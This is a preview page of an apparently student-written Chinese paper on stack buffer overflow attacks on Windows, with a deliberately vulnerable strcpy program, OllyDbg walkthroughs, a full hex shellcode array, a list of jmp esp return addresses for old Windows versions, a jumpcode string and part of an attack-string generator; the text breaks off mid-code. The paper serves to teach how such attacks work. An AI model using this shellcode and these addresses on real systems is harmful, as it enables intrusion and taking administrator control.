缓冲区溢出攻击原理及核心代码的生成.docx

上传人:b****2 文档编号:2375207 上传时间:2023-05-03 格式:DOCX 页数:44 大小:1.04MB
下载 相关 举报
缓冲区溢出攻击原理及核心代码的生成.docx_第1页
第1页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第2页
第2页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第3页
第3页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第4页
第4页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第5页
第5页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第6页
第6页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第7页
第7页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第8页
第8页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第9页
第9页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第10页
第10页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第11页
第11页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第12页
第12页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第13页
第13页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第14页
第14页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第15页
第15页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第16页
第16页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第17页
第17页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第18页
第18页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第19页
第19页 / 共44页
缓冲区溢出攻击原理及核心代码的生成.docx_第20页
第20页 / 共44页
亲,该文档总共44页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

缓冲区溢出攻击原理及核心代码的生成.docx

《缓冲区溢出攻击原理及核心代码的生成.docx》由会员分享,可在线阅读,更多相关《缓冲区溢出攻击原理及核心代码的生成.docx(44页珍藏版)》请在冰点文库上搜索。

缓冲区溢出攻击原理及核心代码的生成.docx

缓冲区溢出攻击原理及核心代码的生成

中文摘要

 

缓冲区溢出漏洞是当前软件中存在的最主要的威胁之一。

该文主要由四个部分组成。

第一部分借助静态分析工具IDA5.0及动态调试工具OllyDbg来解释缓冲区溢出攻击中的堆栈溢出的原理。

第二部分是介绍如何利用OllyDbg来分析或修改别人写的shellcode或编写自己的shellcode。

第三部分是介绍一个由我开发的通过脚本的方式来生成缓冲区溢出攻击字符串的两个函数。

第四部分是介绍如何使用第三部分的两个函数为一个存在缓冲区溢出漏洞的服务器添加一个具有管理员权限的系统用户。

 

关键词:

缓冲区溢出,堆栈溢出

ABSTRACT

 

Bufferoverflowattacksinthesoftwareiscurrentlythemostimportantoneofthethreats.Thearticleconsistsoffourmaincomponents.WiththefirstpartofthestaticanalysistoolIDA5.0anddynamicdebuggingtoolOllyDbgtoexplainbufferoverflowattacksintheprincipleofstackoverflow.ThesecondpartishowtouseOllyDbgtoanalyzeormodifyothers’shellcodeorpreparingtheirownshellcode.ThethirdpartisanintroductionofthetwofunctionwhichIdevelopforgeneratebufferoverflowattacksstrings.PartIVisonhowtousethetwofunctionswhichmentionbyPartIIIforaddaadministrators usertoaserverwhichhaveabufferoverflowbug.

 

KeyWords:

bufferoverflow,stackoverflow

 

目录

中文摘要I

ABSTRACTII

目录III

1. 引言1

2. 缓冲区溢出攻击的原理2

2.1 堆栈结构及缓冲区溢出攻击的原理2

2.2 透过反汇编代码看堆栈结构4

2.3 动态跟踪一个缓冲区溢出10

3. 高级的缓冲区溢出攻击13

3.1 利用Ollydbg编写和修改shellcode13

3.2 如何才能执行shellcode20

4. 通过编写脚本的方式进行缓冲区溢出攻击22

4.1 通过脚本进行攻击22

4.2 脚本设计22

4.3 实现脚本转换23

4.4 控制shellcode,jumpcode的位置32

5. 利用脚本攻击一个带有缓冲区溢出漏洞的服务器33

5.1 生成一个带有缓冲区溢出漏洞的服务器程序33

5.2 生成Exploit程序37

5.3 利用ExploitSocket.exe为目标机械添加一个超级管理员帐户40

6. 结束语43

参考文献44

致谢45

1. 引言

缓冲区溢出(BufferOverflow)是网络安全中最为常见的一种形式,它普遍存在于各类的操作系统及运行在操作系统上的应用软件中。

是网络安全中最危险的漏洞之一。

缓冲区溢出的原因是因为C/C++语言并不检查缓冲区的边界。

当向一个有限空间的缓冲区中复制了过长的字符串时,过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可能引起死机、系统重新启动等后果。

黑客可以通过缓冲区溢出漏洞传入并运行精心编写的溢出字符串,就可能取得目标系统的管理员权限。

接着黑客就可以进行植入后门程序等一系列可以长期控制目标计算机的动作。

2. 缓冲区溢出攻击的原理

2.1 堆栈结构及缓冲区溢出攻击的原理

插图1:

 X86架构的计算系统的内存堆栈图

基于X86架构的计算机系统的内存堆栈如上图所示,堆栈的增长方向与内存地址的增长方向相反。

而且如以发现,返回地址的位置很明显地在局总变量的高地址处。

而我们复制数据时的填充过程都是从低地址向高地址填充的。

而C/C++语言并没有边界检查的机制,因此只要被复制的数据长于局部变量的空间,以至于将被存储的EIP给复盖掉,函数返回时会返回到新的EIP地址。

例如以下为某程序的堆栈。

低地址  高地址

[8个字节][EBP4个字节][EIP4个字节]

当我们使用strcpy()等不会检查缓冲区边界的函数时。

如果被复制的是一个小于8个字节的字符串如"hello\0"时则复制后的堆栈为

低地址高地址

[8个字节][EBP4个字节][EIP4个字节]

Hello\0正常的EBP正常的EIP

但当向缓冲区复制超过16个A时,复制后的堆栈为

低地址高地址

[8个字节][EBP4个字节][EIP4个字节]

AAAAAAAA  AAAAAAAA

我们发现原本的EBP及EIP已经被A给复盖啦。

所以当这个函数返回时,程序已经跳到了0x41414141处(AAAA的ASCII码)。

2.2 透过反汇编代码看堆栈结构

通过以上的解释,我们对缓冲区溢出的原理有了大概的了解。

为了让大家对缓冲区有更深刻的了解,我将编写一段程序。

兼使用静态IDA5及动态调试器OllyDbg为大家显示堆栈中的真实情况。

打开VS2005并建空的工程,工程名为example。

然后为工程添加一个叫example.cpp的源文件并将以下代码复制到example.cpp里去。

//example.cpp

#include

#include

voidcallex(constchar*p)

{

chardata[8];

strcpy(data,p);

}

intmain()

{

charp[8];

memset(p,'A',8);

callex(p);

return0;

}

然后使用快捷键Alt+F7调出工程的属性页。

然后按下面几幅图配置

插图2:

 example项目的配置图1

禁用优化选项以防止的编译器将函数都编成内联从而影响调试。

插图3:

 example项目的配置图2

取消VS2005自带的缓冲区安全检查选项以防止VS2005在生成代码时自动加入堆栈保护的代码从而使实验失败。

插图4:

 example项目的配置图3

因为在Debug版本的代码中有大量的调试语句会对我们的调试造成干扰。

然后按F7生成解决方案。

进入工程的release目录就可以看见已经生成的可执行文件example.exe。

然后用IDA打开example.exe并切换到TEXT模式就可以看到以下的图片。

插图5:

 IDAView-A子窗口截图

从图片可以看出,程序在0x0040181A这个位置调用函数callex()。

现在我们改用动态调试器Ollydbg来看看在运行的过程中,内存堆栈是怎样的。

用Ollydbg打开example.exe。

然后按下Ctrl+G弹出以下窗口。

插图6:

 Ollydbg的跳转窗口

然后输入我们刚刚从IDA中等到的调用callex()语句的地址。

然后按回车然后中窗口就会跳到我们想要去的地方。

然后单击F2下断点。

插图7:

 Ollydbg左上角窗口截图

然后按F9运行程序就会执行到0x0040181A处。

插图8:

 Ollydbg左上角窗口截图

然后按F7单步跟进去。

插图9:

 Ollydbg左上角窗口截图

在这时Ollydbg其他部分显示为:

插图10:

 Ollydbg右上角寄存器窗口截图

插图11:

 Ollydbg右下角内存堆栈窗口截图

处时,栈顶已经保存了返回地址。

即在IDA中看到0x0040181A的下一条指令addesp,4的地址0x0040181F。

再让我们看看反汇编出来的两段对称作用的语句。

pushebp

movebp,esp

subesp,8

 

addesp,8

movesp,ebp

popebp

其实我们可以发现,几乎所有的函数的反汇编代码中都会出现这两段代码。

只不过当中的数字可能不相同。

让我们一直单步跟踪下次就可以知道其中的原理。

我们一直跟到0x004017E6。

插图12:

 Ollydbg右下角内存堆栈窗口截图

再跟到0x004017F3让程序执行strcpy()函数。

插图13:

 Ollydbg右下角内存堆栈窗口截图

执行了strcopy()函数后0x0012F60处的数据已经被写入,于是我们可以知道0x0012FF60就是callex()函数里面的局部变量chardata[8]的地址。

其实函数开头部分的subesp,8的作用就是为局部变量预留空间。

而结尾的addesp,8的作用就是收回局部变量的空间。

2.3 动态跟踪一个缓冲区溢出

通过上面的介绍,大家已经对函数的堆栈及调试的方法有了大概的了解啦。

现在我们就尝试跟踪一个堆栈溢出的过程。

先关闭IDA及Ollydbg然后将程序改成下面这样子。

#include

#include

voidcallex(constchar*p)

{

chardata[8];

strcpy(data,p);

}

intmain()

{

charp[16];//charp[8];

memset(p,'A',16);//memset(p,'A',8);

callex(p);

return0;

}

然后按F7重新生成example.exe,目的是看看将一个有16个A的数组复制到一个只有8个字节长度的缓冲区时产生溢出的情况。

用IDA打开example.exe可以发现调用callex()语句的地址还是没有变。

于是按照上面的步骤用Ollydbg打开example.exe并直接跟踪到0x004017EE。

插图14:

 Ollydbg右下角内存堆栈窗口截图

然后按F8单步步过后。

插图15:

 Ollydbg右下角内存堆栈窗口截图

可以看到原先保存着返回地址的0x0012FF64处已经被A复盖啦。

然后我们再跟踪到返回指令retn处0x004017F9。

这时:

插图16:

 Ollydbg右上角寄存器窗口截图

很明显EBP已经被A复盖掉。

插图17:

 Ollydbg右下角内存堆栈窗口截图

而ESP则指向了要返回的地址。

也被A复盖掉。

再按一下F7单步步入。

这时:

插图18:

 Ollydbg右上角寄存器窗口截图

程序已经执行到0x41414141这个没有任何指令的地址。

再按一下F7则:

插图19:

 Ollydbg中的错误窗口截图

弹出了一个出错的对话框。

以上就是一个完整的缓冲区溢出过程。

3. 高级的缓冲区溢出攻击

3.1 利用Ollydbg编写和修改shellcode

缓冲区溢出不仅可以造成拒绝服务,还可以用来取得管理员权限。

目前在互联网上我们可以搜索到很多类似下面的代码。

有些可以直接利用,但为了取得我们想要的效果,我们通常须要对shellcode进行适当的修改。

..............

charscode[]=

"\xEB\x21\x02\x01\x00\x00\x00\x00\x00\x00\x01\x4A\x36\x4D\x53\x56"

"\x43\x52\x54\x01\x2A\x42\xD4\x8A\x57\x53\x32\x5F\x33\x32\x01\x7C"

"\x81\x2C\x4E\x68\x5F\x57\xC3\xAC\xFF\xD4\xBE\x0C\xF0\xFD\x7F\xAD"

"\xFF\x36\x8B\x70\x1C\xAD\x8B\x50\x08\x6A\xF8\x8D\x5F\xF8\x54\x5D"

"\x8B\x4A\x3C\x8B\x74\x11\x78\x8D\x74\x16\x1C\xB1\x03\xAD\x03\xC2"

"\x50\xE2\xFA\x4B\x8B\x75\xF8\x33\xC0\x50\x50\xAD\x03\xC2\x33\xC9"

"\x66\x03\x08\x02\x08\x40\x80\x38\x01\x7D\xF5\x58\x40\x66\x3B\x0B"

"\x75\xE8\x5E\x96\x4E\xD1\xE6\x03\x75\xF4\x66\xAD\xC1\xE0\x02\x03"

"\x45\xFC\x96\xAD\x03\xC2\xAB\x4B\x80\x3B\x01\x75\xC6\xC9\xFE\x0B"

"\x83\xEB\x06\x80\x7B\xFF\x01\x74\x10\x53\xFF\x14\x2F\x92\x6A\xF0"

"\x4B\x75\x9B\x90\x90\x90\x90\x90\x90\x95\xFF\x57\xF0\x33\xC9\x51"

"\x51\x51\x51\x41\x51\x41\x51\xFF\x57\xF8\x87\xCF\x5F\x83\xC7\x18"

"\xAB\xAB\xAB\x4B\xFE\x0B\x4B\x53\x53\x50\xFF\x51\xF4\xB8\x64\x6E"

"\x65\x01\x2D\x01\x01\x01\x01\x50\x54\xFF\xD5\x90";

.........................

 

仔细到看这些从网上搜来的代码我们可以发现这些都是经过编译出来的机器码。

相信现代不少的程序员都很难看懂机器码。

这时我们可以利用Ollydbg来看看它的汇编指令是什么。

首先打开一个记事本,将上面的shellcode复制进去。

插图19:

 windows自带记事本窗口截图

然后利用将第一行去掉,并用替换功能将“"”及“\x”去掉后,就变成以下的样子。

插图20:

 windows自带记事本窗口截图

 

用Ollydbg随意打开一个exe文件。

然后在下方的内存窗口处随便找一个数据全为“00”的位置。

插图21:

 Ollydbg左下方内存窗口截图

然后在单击选中0x00403050处然后在键盘随便按一个键就会弹出以下窗口:

插图22:

 Ollydbg修改内存内容窗口截图

然后将写字版的内容复制到里面。

插图23:

 Ollydbg修改内存内容窗口截图

然后单击确定然后该位置的内存内容就可以变成我们想要的内容。

插图24:

 Ollydbg内存窗口截图

然后在主区域用第二单方法跳到0x00403050处。

插图25:

 Ollydbg左上方反汇编窗口截图

这时候主窗口里的内容就是上面那段代码反汇编的结果。

然后我们单击选中0x00403056处,然后直接从键盘输入新的汇编指令就会弹出以下窗口。

插图26:

 Ollydbg修改指令窗口截图

回车后就可以发现代码已经被更改。

插图27:

 Ollydbg左上方反汇编窗口截图

当我们将代码全部更改完后再次回到内存视图。

插图28:

 Ollydbg左下方内存窗口截图

我们先用拖拉的方法将内存地址及右边的ASCII给隐藏。

插图29:

 Ollydbg左下方内存窗口截图

然后再将里面的内容复制到一个新的记事本上。

插图30:

 windows自带记事本窗口截图

然后再用替换的方法将双引号及“\x”补上。

插图31:

 windows自带记事本窗口截图

到处为止shellcode的修改完成。

3.2 如何才能执行shellcode

通过以上介绍的方法我们已经可以很简单的编写和修改shellcode。

但是我们并不知道在真正运行的时候shellcode所在的准确位置。

通常我们会在shellcode前插一大堆的空指令(通常称为sledge),而我们只要跳到这些空指令中的任意一个时,我们就可以保证shellcode可以执行。

虽然是这样,我们也很难预测sledge的范围。

于是我们就要编写jumpcode来实现这个跳转。

我们再次用Ollydbg打开example.exe。

然后我们直接跟踪到callex()的retn处。

这时:

插图32:

 Ollydbg寄存器窗口截图

插图33:

 Ollydbg内存堆栈窗口截图

这时我们只要再按一下F7单步步入则:

插图34:

 Ollydbg寄存器窗口截图

插图35:

 Ollydbg内存堆栈窗口截图

当返回时ESP刚好指向原来返回地址的下4个字节处。

于是我们可以考虑如果返回的地址的指令刚好是JMPESP指令,则我们就可以执行0x0012FF68的指令。

以下为从网络上搜到的出现在公用的dll的jmpesp

0x7C961EEDjmpesp//XPSP2

0x7ffa1571jmpebx//在win2000、winxp、win2003通用

0x7ffa54cdjmpesp//Windows2000通用地址(XPSP2也通用)

0x7ffa4512jmpesp//allCNwin2000/winxp/win2003

0x7ffa24cejmpesp//allTWwin2000/winxp/win2003

0x7ffa82a4callesp//allKRwin2000/winxp/win2003

0x7801F4FBpushesp,xx,ret//allwin2000SP3/SP4

0x77C5BAFCpushesp,xx,ret//ENwinxpSP0/SP1

0x77C60AFCpushesp,xx,ret//ENwinxpSP2

0x7C4FEDBBjmpesp//Win2000ServerSP4EN

0x77E2492Bjmpesp//Win2000AdvanceServerSP2EN

0x77E843EBjmpesp//Win2003ServerEnterpriseEditionEN

0x773F33CCjmpesp//Win2003ServerEnterpriseEditionSP1EN

通过利用以上的地址来复盖EIP的位置我们就可以准确地执行jmpesp指令。

然后我们再通过subesp,XX等指令使其能指向前面所说的sledge处,然后再执行jmpesp指令。

这样就可以顺利地执行shellcode。

例如我们要执行以下的代码来进行跳转。

Subsp,101

Jmpesp

 

于是我们就有以下的jumpcode

“\xED\x1E\x96\x7C\x66\x81\xEC\x01\x01\xFF\xE4”

其中\xED\x1E\x96\x7C即为0x7C961EED即我们通过网络搜到的jmpesp指令地址,只要使字符串开头的“\xED\x1E\x96\x7C”在溢出时刚才复盖EIP,我们就能顺利地执行到shellcode。

4. 通过编写脚本的方式进行缓冲区溢出攻击

4.1 通过脚本进行攻击

通过以上的程序我们基本上可以通过编写exploit的方法来进行缓冲区攻击。

但是我们也发现这样的做法不仅效率低,而且调试不方面。

因为shellcode一但有改变,就必须重新编译再进行测试。

于是我就采用了脚本的方法进行攻击。

攻击时我们只要输入脚本,再由脚本生成相应的攻击字符串这样就可以避免在调试攻击字符串时要不断地编译程序。

 

4.2 脚本设计

一个攻击字符串都常包含以下三大类的字符:

作为参数使用的字符串及正常的可见字符(如要执行的命令“cmd.exe”,新添加的用户名“user”),重复的字符或空指令(如\x90),还有进行攻击的机器指令等。

于是我就将脚本设计成由正常的字符及转义字符组成,其中转义字符格式如下:

重复字符串:

#<要重复的字符串>*<要重复的次数十进制次数>#如“#AB*20#”则表示20个AB。

十六进制数:

{<要转换成机械器的十六制字符串>}如“{414243}”则会转换成“ABC”(ABC的ASCII友分别为0x41、0x42、0x43。

转义字符:

“\\”,“\#”,“\{”分别代表字符‘\’,‘#’,‘{’。

4.3 实现脚本转换

参考编译原理的词法分析程序设计出以下的状态转换流程。

插图36:

 脚本转换函数状态转换图

表1 脚本转换表

'\'

'{'

'}'

'#'

'*'

0至9

a至z或A至Z

空格或换行符

其他

NM

TM

WHH

NM

GFS

NM

NM

NM

NM

NM

WHH

NM

WHL

WHL

WHH

WHL

WHH

WHH

GFS

GFS

GFS

GFS

GFS

GFT

GFS

GFS

GFS

GFS

GFT

NM

GFT

TM

NM

NM

NM

NM

NM

NM

NM

NM

NM

其中:

行代码输入字符,列代码原始状态,表格里的内容表示要转换的状态,以下为表格缩写所代表的状态

NM:

normal

WHH:

waithexheight

WHL:

waithexlow

GFS:

getfillstring

GFT:

getfilltime

TM:

transferredmeanings

我编写了一个函数ScriptToMachinecode()来实现这个状态转换过程。

详细代码请看光盘的源代码目录下的核心代码目录下的bofattacks.cpp及bofattacks.h文件。

我定义了6个整数来代表这6个状态。

#defineSTATE_NORMAL0///正常状态

#defineSTATE_TRANSFERRED_MEANING1///转义字符状态

#defineSTATE_WAIT_HEX_HEIGHT2///等待十六进制高位状态

#defineSTATE_WAIT_HEX_LOW3///等待十六进制低位状态

#defineSTATE_GET_FILLSTR4///等待埋充字符串状态

#defineSTATE_GET_FILLTIME5///等待埋充次数状态

 

然后在ScriptToMachinecode()中我用一个UINT型的局部变量uState来代表当前的状态。

然后一个主要的循环来对原始的字符串进行扫描,并根据以上的转换表转换当前的状态。

while((uScriptPos

{

switch(uState)

{

caseSTATE_NORMAL:

if('\\'==pcstrScript[uScriptPos])

{

u

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 工程科技 > 兵器核科学

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2